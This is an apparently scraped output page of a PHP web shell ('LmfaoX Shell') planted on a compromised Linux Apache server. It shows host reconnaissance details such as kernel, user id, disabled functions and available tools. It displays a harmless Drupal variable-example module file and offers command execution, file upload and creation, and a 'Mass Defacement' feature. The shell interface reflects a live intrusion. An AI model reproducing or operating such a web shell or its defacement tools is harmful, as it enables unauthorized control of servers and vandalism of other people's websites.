ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:22.19 GB of 70.42 GB (31.52%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ guitar/ modules/ variable/ variable_example/ - drwxr-xr-x

Directory:
Viewing file:     variable_example.variable.inc (2.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @file
 * Variable API module. Definition for some xample variables
 */

/**
 * Implements hook_variable_info().
 */
function variable_example_variable_info($options) {
  
// Simple text
  
$variables['variable_example_text'] = array(
    
'type' => 'text',
    
'title' => t('Simple text', array(), $options),
    
'default' => 'Example text.',
    
'description' => t('Example of text variable.', array(), $options),
    
'required' => TRUE,
    
'group' => 'variable_example',
  );
  
// Simple number, demonstrates validate callback.
  
$variables['variable_example_number'] = array(
    
'type' => 'number',
    
'title' => t('Number', array(), $options),
    
'default' => 0,
    
'description' => t('Example of numeric variable.', array(), $options),
    
'required' => TRUE,
    
'group' => 'variable_example',
  );
  
// Text with format
  
$variables['variable_example_text_format'] = array(
    
'type' => 'text_format',
    
'title' => t('Text format', array(), $options),
    
// The default value may be a string (default format will be added) or
    // an array with 'format' (format name) and 'value' (string) elements
    
'default' => 'Example text with default format',
    
'description' => t('Example of text variable with text format.', array(), $options),
    
'required' => TRUE,
    
'group' => 'variable_example',
  );
  
// Text with format
  
$variables['variable_example_mail_[mail_part]'] = array(
    
'type' => 'mail_text',
    
'title' => t('Example mail', array(), $options),
    
'default' => array(
      
'subject' => t('Example mail subject', array(), $options),
      
'body' => t('Example mail body.', array(), $options),
    ),
    
'description' => t('Example mail variable with subject and body.', array(), $options),
    
'required' => TRUE,
    
'group' => 'variable_example',
  );
  return 
$variables;
}

/**
 * Implements hook_variable_group_info().
 */
function variable_example_variable_group_info() {
  
$groups['variable_example'] = array(
    
'title' => t('Examples'),
    
'description' => t('Variable examples of different types.'),
    
'access' => 'administer site configuration',
    
'path' => array('admin/config/system/variable/example'),
  );
  return 
$groups;
}

Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.5358 seconds